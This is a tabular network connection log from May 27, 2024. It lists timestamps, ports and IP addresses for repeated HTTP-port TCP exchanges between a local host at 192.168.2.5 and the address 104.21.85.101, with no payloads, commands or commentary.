May 27, 2024 02:57:08.461049080 CEST	80	49721	104.21.85.101	192.168.2.5
May 27, 2024 02:57:08.461241961 CEST	49721	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:08.470576048 CEST	80	49721	104.21.85.101	192.168.2.5
May 27, 2024 02:57:09.077306032 CEST	80	49721	104.21.85.101	192.168.2.5
May 27, 2024 02:57:09.077398062 CEST	80	49721	104.21.85.101	192.168.2.5
May 27, 2024 02:57:09.077471972 CEST	49721	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:09.077471972 CEST	49721	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:09.087101936 CEST	80	49721	104.21.85.101	192.168.2.5
May 27, 2024 02:57:09.222493887 CEST	49724	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:09.227494955 CEST	80	49724	104.21.85.101	192.168.2.5
May 27, 2024 02:57:09.227711916 CEST	49724	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:09.229387045 CEST	49724	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:09.284996033 CEST	80	49724	104.21.85.101	192.168.2.5
May 27, 2024 02:57:09.285092115 CEST	49724	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:09.290091991 CEST	80	49724	104.21.85.101	192.168.2.5
May 27, 2024 02:57:09.939446926 CEST	80	49724	104.21.85.101	192.168.2.5
May 27, 2024 02:57:09.939486027 CEST	80	49724	104.21.85.101	192.168.2.5
May 27, 2024 02:57:09.939542055 CEST	49724	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:09.939579964 CEST	49724	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:09.944319963 CEST	80	49724	104.21.85.101	192.168.2.5
May 27, 2024 02:57:09.944411039 CEST	49724	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:09.949316978 CEST	80	49724	104.21.85.101	192.168.2.5
May 27, 2024 02:57:10.089961052 CEST	49726	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:10.106264114 CEST	80	49726	104.21.85.101	192.168.2.5
May 27, 2024 02:57:10.106378078 CEST	49726	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:10.108177900 CEST	49726	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:10.207539082 CEST	80	49726	104.21.85.101	192.168.2.5
May 27, 2024 02:57:10.207612991 CEST	49726	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:10.212739944 CEST	80	49726	104.21.85.101	192.168.2.5
May 27, 2024 02:57:10.817708969 CEST	80	49726	104.21.85.101	192.168.2.5
May 27, 2024 02:57:10.817807913 CEST	49726	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:10.822535992 CEST	80	49726	104.21.85.101	192.168.2.5
May 27, 2024 02:57:10.822598934 CEST	49726	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:10.868810892 CEST	80	49726	104.21.85.101	192.168.2.5
May 27, 2024 02:57:10.959023952 CEST	49728	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:10.968811989 CEST	80	49728	104.21.85.101	192.168.2.5
May 27, 2024 02:57:10.968898058 CEST	49728	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:10.970618963 CEST	49728	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:10.978605032 CEST	80	49728	104.21.85.101	192.168.2.5
May 27, 2024 02:57:10.978754044 CEST	49728	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:10.988239050 CEST	80	49728	104.21.85.101	192.168.2.5
May 27, 2024 02:57:11.630388021 CEST	80	49728	104.21.85.101	192.168.2.5
May 27, 2024 02:57:11.630945921 CEST	49728	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:11.635076046 CEST	80	49728	104.21.85.101	192.168.2.5
May 27, 2024 02:57:11.635189056 CEST	49728	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:11.637042999 CEST	80	49728	104.21.85.101	192.168.2.5
May 27, 2024 02:57:11.922975063 CEST	49730	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:11.983378887 CEST	80	49730	104.21.85.101	192.168.2.5
May 27, 2024 02:57:11.983799934 CEST	49730	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:11.985959053 CEST	49730	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:12.036879063 CEST	80	49730	104.21.85.101	192.168.2.5
May 27, 2024 02:57:12.036964893 CEST	49730	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:12.046808958 CEST	80	49730	104.21.85.101	192.168.2.5
May 27, 2024 02:57:12.650402069 CEST	80	49730	104.21.85.101	192.168.2.5
May 27, 2024 02:57:12.650445938 CEST	80	49730	104.21.85.101	192.168.2.5
May 27, 2024 02:57:12.650535107 CEST	49730	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:12.650535107 CEST	49730	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:12.660239935 CEST	80	49730	104.21.85.101	192.168.2.5
May 27, 2024 02:57:12.788033962 CEST	49731	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:12.793236017 CEST	80	49731	104.21.85.101	192.168.2.5
May 27, 2024 02:57:12.793344975 CEST	49731	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:12.795525074 CEST	49731	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:12.848046064 CEST	80	49731	104.21.85.101	192.168.2.5
May 27, 2024 02:57:12.848125935 CEST	49731	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:12.857811928 CEST	80	49731	104.21.85.101	192.168.2.5
May 27, 2024 02:57:13.470117092 CEST	80	49731	104.21.85.101	192.168.2.5
May 27, 2024 02:57:13.471539021 CEST	49731	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:13.474898100 CEST	80	49731	104.21.85.101	192.168.2.5
May 27, 2024 02:57:13.476196051 CEST	49731	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:13.481282949 CEST	80	49731	104.21.85.101	192.168.2.5
May 27, 2024 02:57:13.613702059 CEST	49732	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:13.618899107 CEST	80	49732	104.21.85.101	192.168.2.5
May 27, 2024 02:57:13.620429993 CEST	49732	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:13.622626066 CEST	49732	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:13.672755003 CEST	80	49732	104.21.85.101	192.168.2.5
May 27, 2024 02:57:13.672837019 CEST	49732	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:13.677805901 CEST	80	49732	104.21.85.101	192.168.2.5
May 27, 2024 02:57:14.366130114 CEST	80	49732	104.21.85.101	192.168.2.5
May 27, 2024 02:57:14.366255999 CEST	49732	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:14.370784998 CEST	80	49732	104.21.85.101	192.168.2.5
May 27, 2024 02:57:14.370857000 CEST	49732	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:14.422008038 CEST	80	49732	104.21.85.101	192.168.2.5
May 27, 2024 02:57:14.507213116 CEST	49733	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:14.512413025 CEST	80	49733	104.21.85.101	192.168.2.5
May 27, 2024 02:57:14.512557983 CEST	49733	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:14.514492989 CEST	49733	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:14.565176964 CEST	80	49733	104.21.85.101	192.168.2.5
May 27, 2024 02:57:14.565294981 CEST	49733	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:14.570370913 CEST	80	49733	104.21.85.101	192.168.2.5
May 27, 2024 02:57:15.185714006 CEST	80	49733	104.21.85.101	192.168.2.5
May 27, 2024 02:57:15.185861111 CEST	49733	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:15.190360069 CEST	80	49733	104.21.85.101	192.168.2.5
May 27, 2024 02:57:15.190466881 CEST	49733	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:15.236865997 CEST	80	49733	104.21.85.101	192.168.2.5
May 27, 2024 02:57:15.335751057 CEST	49734	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:15.340933084 CEST	80	49734	104.21.85.101	192.168.2.5
May 27, 2024 02:57:15.341022968 CEST	49734	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:15.342998028 CEST	49734	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:15.393002987 CEST	80	49734	104.21.85.101	192.168.2.5
May 27, 2024 02:57:15.393141031 CEST	49734	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:15.398083925 CEST	80	49734	104.21.85.101	192.168.2.5
May 27, 2024 02:57:16.152654886 CEST	80	49734	104.21.85.101	192.168.2.5
May 27, 2024 02:57:16.152776003 CEST	49734	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:16.157166958 CEST	80	49734	104.21.85.101	192.168.2.5
May 27, 2024 02:57:16.157238007 CEST	49734	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:16.203532934 CEST	80	49734	104.21.85.101	192.168.2.5
May 27, 2024 02:57:16.308536053 CEST	49735	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:16.313942909 CEST	80	49735	104.21.85.101	192.168.2.5
May 27, 2024 02:57:16.314048052 CEST	49735	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:16.316241980 CEST	49735	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:16.354820967 CEST	80	49735	104.21.85.101	192.168.2.5
May 27, 2024 02:57:16.354906082 CEST	49735	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:16.377644062 CEST	80	49735	104.21.85.101	192.168.2.5
May 27, 2024 02:57:17.016735077 CEST	80	49735	104.21.85.101	192.168.2.5
May 27, 2024 02:57:17.016863108 CEST	49735	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:17.021574974 CEST	80	49735	104.21.85.101	192.168.2.5
May 27, 2024 02:57:17.021745920 CEST	49735	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:17.026624918 CEST	80	49735	104.21.85.101	192.168.2.5
May 27, 2024 02:57:17.163584948 CEST	49736	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:17.168996096 CEST	80	49736	104.21.85.101	192.168.2.5
May 27, 2024 02:57:17.169217110 CEST	49736	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:17.171322107 CEST	49736	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:17.220815897 CEST	80	49736	104.21.85.101	192.168.2.5
May 27, 2024 02:57:17.221159935 CEST	49736	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:17.226170063 CEST	80	49736	104.21.85.101	192.168.2.5
May 27, 2024 02:57:17.836726904 CEST	80	49736	104.21.85.101	192.168.2.5
May 27, 2024 02:57:17.837018013 CEST	49736	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:17.841473103 CEST	80	49736	104.21.85.101	192.168.2.5
May 27, 2024 02:57:17.841588974 CEST	49736	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:17.888484001 CEST	80	49736	104.21.85.101	192.168.2.5
May 27, 2024 02:57:17.976373911 CEST	49737	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:17.981450081 CEST	80	49737	104.21.85.101	192.168.2.5
May 27, 2024 02:57:17.981657982 CEST	49737	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:17.983496904 CEST	49737	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:18.032655954 CEST	80	49737	104.21.85.101	192.168.2.5
May 27, 2024 02:57:18.032838106 CEST	49737	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:18.037744999 CEST	80	49737	104.21.85.101	192.168.2.5
May 27, 2024 02:57:18.678615093 CEST	80	49737	104.21.85.101	192.168.2.5
May 27, 2024 02:57:18.678937912 CEST	49737	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:18.683870077 CEST	80	49737	104.21.85.101	192.168.2.5
May 27, 2024 02:57:18.684039116 CEST	49737	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:18.688945055 CEST	80	49737	104.21.85.101	192.168.2.5
May 27, 2024 02:57:18.817509890 CEST	49738	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:18.822465897 CEST	80	49738	104.21.85.101	192.168.2.5
May 27, 2024 02:57:18.822608948 CEST	49738	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:18.824359894 CEST	49738	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:18.872642040 CEST	80	49738	104.21.85.101	192.168.2.5
May 27, 2024 02:57:18.872872114 CEST	49738	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:18.877846956 CEST	80	49738	104.21.85.101	192.168.2.5
May 27, 2024 02:57:19.488892078 CEST	80	49738	104.21.85.101	192.168.2.5
May 27, 2024 02:57:19.489116907 CEST	49738	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:19.493675947 CEST	80	49738	104.21.85.101	192.168.2.5
May 27, 2024 02:57:19.493853092 CEST	49738	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:19.540760040 CEST	80	49738	104.21.85.101	192.168.2.5
May 27, 2024 02:57:19.631479025 CEST	49739	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:19.636743069 CEST	80	49739	104.21.85.101	192.168.2.5
May 27, 2024 02:57:19.636838913 CEST	49739	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:19.638608932 CEST	49739	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:19.692679882 CEST	80	49739	104.21.85.101	192.168.2.5
May 27, 2024 02:57:19.692770958 CEST	49739	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:19.697742939 CEST	80	49739	104.21.85.101	192.168.2.5
May 27, 2024 02:57:20.317183971 CEST	80	49739	104.21.85.101	192.168.2.5
May 27, 2024 02:57:20.317219973 CEST	80	49739	104.21.85.101	192.168.2.5
May 27, 2024 02:57:20.317426920 CEST	49739	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:20.317696095 CEST	49739	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:20.327491999 CEST	80	49739	104.21.85.101	192.168.2.5
May 27, 2024 02:57:20.467920065 CEST	49740	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:20.473217010 CEST	80	49740	104.21.85.101	192.168.2.5
May 27, 2024 02:57:20.473370075 CEST	49740	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:20.475126982 CEST	49740	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:20.524898052 CEST	80	49740	104.21.85.101	192.168.2.5
May 27, 2024 02:57:20.525090933 CEST	49740	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:20.530169010 CEST	80	49740	104.21.85.101	192.168.2.5
May 27, 2024 02:57:21.181163073 CEST	80	49740	104.21.85.101	192.168.2.5
May 27, 2024 02:57:21.181504011 CEST	49740	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:21.185965061 CEST	80	49740	104.21.85.101	192.168.2.5
May 27, 2024 02:57:21.186182022 CEST	49740	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:21.232805014 CEST	80	49740	104.21.85.101	192.168.2.5
May 27, 2024 02:57:21.320000887 CEST	49741	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:21.325273991 CEST	80	49741	104.21.85.101	192.168.2.5
May 27, 2024 02:57:21.325498104 CEST	49741	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:21.327353001 CEST	49741	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:21.380803108 CEST	80	49741	104.21.85.101	192.168.2.5
May 27, 2024 02:57:21.381038904 CEST	49741	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:21.386013031 CEST	80	49741	104.21.85.101	192.168.2.5
May 27, 2024 02:57:22.008224010 CEST	80	49741	104.21.85.101	192.168.2.5
May 27, 2024 02:57:22.008498907 CEST	49741	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:22.012988091 CEST	80	49741	104.21.85.101	192.168.2.5
May 27, 2024 02:57:22.013197899 CEST	49741	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:22.060558081 CEST	80	49741	104.21.85.101	192.168.2.5
May 27, 2024 02:57:22.160370111 CEST	49742	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:22.165544987 CEST	80	49742	104.21.85.101	192.168.2.5
May 27, 2024 02:57:22.165832996 CEST	49742	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:22.168782949 CEST	49742	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:22.216743946 CEST	80	49742	104.21.85.101	192.168.2.5
May 27, 2024 02:57:22.217107058 CEST	49742	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:22.222198963 CEST	80	49742	104.21.85.101	192.168.2.5
May 27, 2024 02:57:23.031837940 CEST	80	49742	104.21.85.101	192.168.2.5
May 27, 2024 02:57:23.031878948 CEST	80	49742	104.21.85.101	192.168.2.5
May 27, 2024 02:57:23.032208920 CEST	49742	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:23.485805988 CEST	49742	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:23.491159916 CEST	80	49742	104.21.85.101	192.168.2.5
May 27, 2024 02:57:23.640984058 CEST	49743	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:23.646420002 CEST	80	49743	104.21.85.101	192.168.2.5
May 27, 2024 02:57:23.646591902 CEST	49743	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:23.648663044 CEST	49743	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:23.697046995 CEST	80	49743	104.21.85.101	192.168.2.5
May 27, 2024 02:57:23.697263002 CEST	49743	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:23.702421904 CEST	80	49743	104.21.85.101	192.168.2.5
May 27, 2024 02:57:24.333389044 CEST	80	49743	104.21.85.101	192.168.2.5
May 27, 2024 02:57:24.338048935 CEST	80	49743	104.21.85.101	192.168.2.5
May 27, 2024 02:57:24.338157892 CEST	49743	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:25.060008049 CEST	49743	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:25.065335989 CEST	80	49743	104.21.85.101	192.168.2.5
May 27, 2024 02:57:25.211287022 CEST	49744	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:25.216567039 CEST	80	49744	104.21.85.101	192.168.2.5
May 27, 2024 02:57:25.216795921 CEST	49744	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:25.218771935 CEST	49744	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:25.268852949 CEST	80	49744	104.21.85.101	192.168.2.5
May 27, 2024 02:57:25.269093990 CEST	49744	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:25.274049044 CEST	80	49744	104.21.85.101	192.168.2.5
May 27, 2024 02:57:26.282572031 CEST	80	49744	104.21.85.101	192.168.2.5
May 27, 2024 02:57:26.283016920 CEST	49744	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:26.287218094 CEST	80	49744	104.21.85.101	192.168.2.5
May 27, 2024 02:57:26.287306070 CEST	49744	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:26.336915016 CEST	80	49744	104.21.85.101	192.168.2.5
May 27, 2024 02:57:26.428956032 CEST	49745	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:26.434245110 CEST	80	49745	104.21.85.101	192.168.2.5
May 27, 2024 02:57:26.434498072 CEST	49745	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:26.436407089 CEST	49745	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:26.484807968 CEST	80	49745	104.21.85.101	192.168.2.5
May 27, 2024 02:57:26.485061884 CEST	49745	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:26.490070105 CEST	80	49745	104.21.85.101	192.168.2.5
May 27, 2024 02:57:27.153357029 CEST	80	49745	104.21.85.101	192.168.2.5
May 27, 2024 02:57:27.153783083 CEST	49745	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:27.158102036 CEST	80	49745	104.21.85.101	192.168.2.5
May 27, 2024 02:57:27.158349037 CEST	49745	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:27.203418016 CEST	80	49745	104.21.85.101	192.168.2.5
May 27, 2024 02:57:27.304811954 CEST	49746	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:27.312283039 CEST	80	49746	104.21.85.101	192.168.2.5
May 27, 2024 02:57:27.312511921 CEST	49746	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:27.314357042 CEST	49746	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:27.364923954 CEST	80	49746	104.21.85.101	192.168.2.5
May 27, 2024 02:57:27.365293980 CEST	49746	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:27.370294094 CEST	80	49746	104.21.85.101	192.168.2.5
May 27, 2024 02:57:28.185755014 CEST	80	49746	104.21.85.101	192.168.2.5
May 27, 2024 02:57:28.186028004 CEST	49746	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:28.190324068 CEST	80	49746	104.21.85.101	192.168.2.5
May 27, 2024 02:57:28.190505981 CEST	49746	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:28.236768961 CEST	80	49746	104.21.85.101	192.168.2.5
May 27, 2024 02:57:28.345597029 CEST	49747	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:28.350882053 CEST	80	49747	104.21.85.101	192.168.2.5
May 27, 2024 02:57:28.351121902 CEST	49747	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:28.354051113 CEST	49747	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:28.404678106 CEST	80	49747	104.21.85.101	192.168.2.5
May 27, 2024 02:57:28.404791117 CEST	49747	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:28.409900904 CEST	80	49747	104.21.85.101	192.168.2.5
May 27, 2024 02:57:29.049575090 CEST	80	49747	104.21.85.101	192.168.2.5
May 27, 2024 02:57:29.049787045 CEST	49747	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:29.054367065 CEST	80	49747	104.21.85.101	192.168.2.5
May 27, 2024 02:57:29.054562092 CEST	49747	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:29.099349976 CEST	80	49747	104.21.85.101	192.168.2.5
May 27, 2024 02:57:29.201137066 CEST	49748	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:29.206218958 CEST	80	49748	104.21.85.101	192.168.2.5
May 27, 2024 02:57:29.206335068 CEST	49748	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:29.208414078 CEST	49748	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:29.256649971 CEST	80	49748	104.21.85.101	192.168.2.5
May 27, 2024 02:57:29.256799936 CEST	49748	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:29.261722088 CEST	80	49748	104.21.85.101	192.168.2.5
May 27, 2024 02:57:29.953603029 CEST	80	49748	104.21.85.101	192.168.2.5
May 27, 2024 02:57:29.953819990 CEST	49748	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:29.958384991 CEST	80	49748	104.21.85.101	192.168.2.5
May 27, 2024 02:57:29.958467960 CEST	49748	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:30.003396034 CEST	80	49748	104.21.85.101	192.168.2.5
May 27, 2024 02:57:30.101236105 CEST	49749	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:30.106507063 CEST	80	49749	104.21.85.101	192.168.2.5
May 27, 2024 02:57:30.106719971 CEST	49749	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:30.108860970 CEST	49749	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:30.163933039 CEST	80	49749	104.21.85.101	192.168.2.5
May 27, 2024 02:57:30.164151907 CEST	49749	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:30.170681000 CEST	80	49749	104.21.85.101	192.168.2.5
May 27, 2024 02:57:30.933007956 CEST	80	49749	104.21.85.101	192.168.2.5
May 27, 2024 02:57:30.933280945 CEST	49749	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:30.937639952 CEST	80	49749	104.21.85.101	192.168.2.5
May 27, 2024 02:57:30.937715054 CEST	49749	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:30.984467983 CEST	80	49749	104.21.85.101	192.168.2.5
May 27, 2024 02:57:31.102510929 CEST	49750	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:31.107594967 CEST	80	49750	104.21.85.101	192.168.2.5
May 27, 2024 02:57:31.107871056 CEST	49750	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:31.110920906 CEST	49750	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:31.161170959 CEST	80	49750	104.21.85.101	192.168.2.5
May 27, 2024 02:57:31.161364079 CEST	49750	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:31.167037010 CEST	80	49750	104.21.85.101	192.168.2.5
May 27, 2024 02:57:31.781552076 CEST	80	49750	104.21.85.101	192.168.2.5
May 27, 2024 02:57:31.781913042 CEST	49750	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:31.786338091 CEST	80	49750	104.21.85.101	192.168.2.5
May 27, 2024 02:57:31.786546946 CEST	49750	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:31.832762957 CEST	80	49750	104.21.85.101	192.168.2.5
May 27, 2024 02:57:31.956747055 CEST	49751	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:31.961889029 CEST	80	49751	104.21.85.101	192.168.2.5
May 27, 2024 02:57:31.962121964 CEST	49751	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:31.964999914 CEST	49751	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:32.013128996 CEST	80	49751	104.21.85.101	192.168.2.5
May 27, 2024 02:57:32.013323069 CEST	49751	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:32.018306017 CEST	80	49751	104.21.85.101	192.168.2.5
May 27, 2024 02:57:32.678488016 CEST	80	49751	104.21.85.101	192.168.2.5
May 27, 2024 02:57:32.678767920 CEST	49751	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:32.683260918 CEST	80	49751	104.21.85.101	192.168.2.5
May 27, 2024 02:57:32.683478117 CEST	49751	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:32.728672028 CEST	80	49751	104.21.85.101	192.168.2.5
May 27, 2024 02:57:32.842663050 CEST	49752	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:32.847877026 CEST	80	49752	104.21.85.101	192.168.2.5
May 27, 2024 02:57:32.847991943 CEST	49752	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:32.850963116 CEST	49752	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:32.906471014 CEST	80	49752	104.21.85.101	192.168.2.5
May 27, 2024 02:57:32.906555891 CEST	49752	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:32.911607981 CEST	80	49752	104.21.85.101	192.168.2.5
May 27, 2024 02:57:33.694895029 CEST	80	49752	104.21.85.101	192.168.2.5
May 27, 2024 02:57:33.695147991 CEST	49752	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:33.700099945 CEST	80	49752	104.21.85.101	192.168.2.5
May 27, 2024 02:57:33.700186014 CEST	49752	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:33.705075026 CEST	80	49752	104.21.85.101	192.168.2.5
May 27, 2024 02:57:33.858342886 CEST	49753	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:33.863522053 CEST	80	49753	104.21.85.101	192.168.2.5
May 27, 2024 02:57:33.863653898 CEST	49753	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:33.866648912 CEST	49753	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:33.914700985 CEST	80	49753	104.21.85.101	192.168.2.5
May 27, 2024 02:57:33.915070057 CEST	49753	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:33.920136929 CEST	80	49753	104.21.85.101	192.168.2.5
May 27, 2024 02:57:34.563853025 CEST	80	49753	104.21.85.101	192.168.2.5
May 27, 2024 02:57:34.564157963 CEST	49753	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:34.568738937 CEST	80	49753	104.21.85.101	192.168.2.5
May 27, 2024 02:57:34.568823099 CEST	49753	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:34.616530895 CEST	80	49753	104.21.85.101	192.168.2.5
May 27, 2024 02:57:34.731753111 CEST	49754	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:34.737052917 CEST	80	49754	104.21.85.101	192.168.2.5
May 27, 2024 02:57:34.737138987 CEST	49754	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:34.740165949 CEST	49754	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:34.788774014 CEST	80	49754	104.21.85.101	192.168.2.5
May 27, 2024 02:57:34.788880110 CEST	49754	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:34.793971062 CEST	80	49754	104.21.85.101	192.168.2.5
May 27, 2024 02:57:35.395363092 CEST	80	49754	104.21.85.101	192.168.2.5
May 27, 2024 02:57:35.395622015 CEST	49754	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:35.400163889 CEST	80	49754	104.21.85.101	192.168.2.5
May 27, 2024 02:57:35.400314093 CEST	49754	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:35.448666096 CEST	80	49754	104.21.85.101	192.168.2.5
May 27, 2024 02:57:35.548085928 CEST	49755	80	192.168.2.5	104.21.85.101
May 27, 2024 02:57:35.553216934 CEST	80	49755	104.21.85.101	192.168.2.5
